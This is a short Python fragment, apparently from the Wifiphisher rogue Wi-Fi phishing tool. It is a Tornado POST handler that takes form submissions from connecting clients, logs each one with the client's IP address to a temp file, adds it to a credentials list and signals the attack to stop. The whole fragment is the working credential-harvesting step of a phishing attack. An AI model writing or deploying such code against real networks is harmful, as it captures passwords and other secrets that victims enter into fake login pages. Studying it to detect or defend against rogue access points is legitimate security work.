'Override the post method
:param self: A tornado.web.RequestHandler object
:type self: tornado.web.RequestHandler
:return: None
:rtype: None
..note: we only serve the Content-Type which starts with
"application/x-www-form-urlencoded" as a valid post request'

def post(self):

    global terminate
    try:
        content_type = self.request.headers['Content-Type']
    except KeyError:
        return
    if content_type.startswith(VALID_POST_CONTENT_TYPE):
        post_data = tornado.escape.url_unescape(self.request.body)
        log_file_path = '/tmp/wifiphisher-webserver.tmp'
        with open(log_file_path, 'a+') as log_file:
            log_file.write('POST    request    from    {0}    with    {1}\n'.format(self.request.remote_ip, post_data))
        creds.append(post_data)
        terminate = True
